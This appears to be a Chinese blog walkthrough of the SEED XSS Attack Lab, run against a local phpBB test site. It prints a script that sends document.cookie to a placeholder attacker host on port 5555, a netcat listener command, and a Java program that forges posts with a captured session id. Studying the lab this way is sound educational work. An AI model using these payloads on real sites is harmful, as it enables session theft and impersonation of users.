1. 程式人生 > 其它 >Cross-Site Scripting (XSS) Attack Lab Solution Seed

Cross-Site Scripting (XSS) Attack Lab Solution Seed

Cross-Site Scripting (XSS) Attack Lab

準備工作

啟動伺服器

sudo apache2ctl start
or
sudo service apache2 start

我們檢視var/www/XSS/XSSLabPhpbb下的檔案。由於伺服器的機制,我們可以直接加上 XSS/XSSLabPhpbb的路徑訪問此處。

直接輸路徑相當於直接訪問,這是由於主機設定。這也正是IPv4的地址。使用其他虛擬機器也可以訪問,如果你無法安裝VMtools,那麼這也可以作為一種向外傳遞資訊的方式。另一種向內傳遞資訊的方式也是使用網路。比如可以吧所有的命令寫在一篇文章中https://www.cnblogs.com/skprimin/p/16011145.html,通過網路訪問

訪問網站

也可以使用網址訪問 www.xsslabphpbb.com

這是因為我們已經配置了DNS,這個URL只能從虛擬機器內部訪問,因為我們已經修改了/etc/hosts檔案來對映域名www.xsslabphpbb.com到虛擬機器的本地IP地址(127.0.0.1)。也可以修改/etc/hosts,將任何域名對映到一個特定的IP地址。

賬戶密碼均為admin、alice、bob 。

賬戶 密碼
admin admin
alice alice
bob bob

Task1 釋出惡意訊息以顯示警報視窗

可見我們已經登入成功。點選進入Test Forum1

隨後建立一個新的topic

輸入內容

submit提交之後,稍等幾秒便會出現此警告窗。

當再次進入此頁面時也會出現彈窗,我們F12使用Firebug檢視頁面程式碼,通過搜尋功能發現輸入的字串是直接巢狀在頁面中的,沒有進過任何過濾,甚至連簡單的加上引號""都沒有。這也因此使得該字串能被當成JavaScript程式碼執行。

Task2 釋出惡意訊息來顯示cookie

我們對Task1的內容重新編輯,在這裡我們也可以發現其內容是空的,這也是由於輸入的字串被當成程式碼而沒有顯示。

修改post內容

同樣是稍等幾秒便會輸出此彈窗

當我們使用Firebug的net除錯,重新載入頁面,對某一個請求的header進行分析,便可以發現其內容正是Cookie。

Task3 從受害者的機器裡偷Cookie

這裡我們選擇另一臺主機,當然使用同一臺主機也是可以的,理論上只要能相網際網路便可,使用ping命名可以測試相互之間是否能通訊。但實際上這是一門玄學,推薦使用seedubuntu12負責監聽。

獲取地址

ifconfig

攻擊機seed12的id地址

新建post

我們新建一個Topic,輸入對應命令,並提交

Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='
+ escape(document.cookie) + ' >'); </script>
This script is to test XSS. Thanks.

監聽

在攻擊機上建立監聽埠。

nc -lv 5555

隨後在seed9上重新整理Task3的頁面,如果伺服器將其當成程式碼解析,那麼會出現一個圖片標識,這時因為我們插入的是<img src=...標籤。在HTML中是照片標籤,又因為其對應的src引數是不存在的,所以圖片並沒有顯示出來。

讓其載入內容,這時,在監聽埠處便會收到傳送的內容。對比便會發現其內容正是cookie。

Task4:用偷來的Cookie模仿受害者

獲取引數

在竊取了受害者的Cookie後,攻擊者可以對受害者的phpBBweb伺服器做任何事情,包括以受害者的名字釋出新訊息,刪除受害者的帖子,等等。在這個任務中,我們將編寫一個程式來代表受害者釋出一個資訊帖子。

為了建立一個訊息釋出,我們應該首先分析phpBB在釋出訊息方面是如何工作的。更具體地說,我 們的目標是找出當用戶釋出訊息時傳送到伺服器的內容。Firefox的LiveHTTPHeaders擴充套件可以幫助我 們;它可以顯示從瀏覽器傳送的任何HTTP請求訊息的內容。

我們開啟Live HTTP headers,此處為了減少監聽到其他頁面的無用資訊,我們在Test Forum頁面再打卡監聽。

開啟監視後,建立一個新的Topic,內容使用容易辨識的標記。

隨後檢視Live HTTP headers,根據標識查詢,鎖定是第二個,其Content中也包含了這次的post內容。

java模擬請求

一旦我們理解了訊息釋出的HTTP請求是什麼樣子的,我們就可以編寫一個Java程式來發送相同的HTTP請求。phpBB伺服器無法區分該請求是由使用者的瀏覽器傳送的,還是由攻擊者的Java程式傳送的。

只要我們正確地設定了所有引數,伺服器就會接受並處理訊息釋出的HTTP請求。為了簡化您的任務,我們為您提供了一個示例java程式: https://www.cnblogs.com/skprimin/p/16011145.html

import java.io.*;
import java.net.*;


public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
        try {
            int responseCode;
            InputStream responseIn = null;

            // 要偽造的URL
            URL url = new URL("http://www.xsslabphpbb.com/posting.php");

            // 建立URLConnection例項,以進一步引數化資源請求,以後的URL例項可以表示的狀態。
            URLConnection urlConn = url.openConnection();

            if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
            }

            // AddRequestProperty方法用於新增HTTP標頭資訊。
            // 在這裡,我們將使用者代理HTTP標頭新增到偽造的HTTP資料包中。
            urlConn.addRequestProperty("Cookie", "");

            // HTTP釋出資料包括要傳送到伺服器的資訊。
            String data = "username=admin&seed=admin%40seed.com";
            // 應該將URL連線的DOUTPUT標誌設定為TRUE以傳送HTTP釋出訊息。
            urlConn.setDoOutput(true);

            // OutputStreamWriter 位元組輸出流 用於將HTTP POST資料寫入URL連線。
            OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
            wr.write(data);
            wr.flush();

            // HttpURLConnection a subclass of URLConnection is returned by
            // url.openConnection() since the url is an http request.
            //因為URL是HTTP請求, HttpURLConnection 由 
            // URL.Openconnection()返回URLConnection的子類,
            if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;
                // 連線Web伺服器並獲取HTTP響應訊息的狀態程式碼。
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);

                // HTTP狀態程式碼HTTP_OK表示已成功收到響應。
                if (responseCode == HttpURLConnection.HTTP_OK) {
                    // 從URL連線物件獲取輸入流。
                    responseIn = urlConn.getInputStream();

                    // 為位元組讀入流BufferedReader建立一個例項,以按行讀取響應行。
                    BufferedReader buf_inp = new BufferedReader(new InputStreamReader(
                                responseIn));
                    String inputLine;

                    while ((inputLine = buf_inp.readLine()) != null) {
                        //System.out.println(inputLine);
                    }
                }
            }
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

根據Live HTTP headers所捕獲的內容,進行修改主要是修改data、Cookie。其data內容事實上就是引數,在一些老網站上,使用POST傳引數時,其網址後面?..&..正是引數,?表示起始,&就是引數之間的分隔符。

 String data = "subject=TASK4java04444&addbbcode18=%23444444&addbbcode20=0&helpbox=Code+display%3A+%5Bcode%5Dcode%5B%2Fcode%5D++%28alt%2Bc%29&message=SKPriminAAAAAAAAAAAAAAAA0000000000000000000000000&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=c50f6a27861e00e5947e7376676e6b80&f=1&post=Submit";

將上述程式碼複製儲存,java檔案的特性,檔名必須要與類名(public class後面跟著的那個)相同。隨後我們更改部分內容將引數。

上層建立的URL url = new URL("http://www.xsslabphpbb.com/posting.php");物件。

urlConn.addRequestProperty("Cookie", "")只需要一個Cookie。Cookie即代表所有,我們平時網站的免登入實際上也是由瀏覽器幫我們儲存了Cookie並自動登入實現的。個別網站可能要user-agent(瀏覽器標識)、referer(防盜鏈)

String data = "";傳送的資訊

隨後先編譯再執行。響應碼200表示正常。

javac HTTPSimpleForge.java
java HTTPSimpleForge

回到Test Forum1頁面,發現新增了一個post。

內容也確實為我們所更改的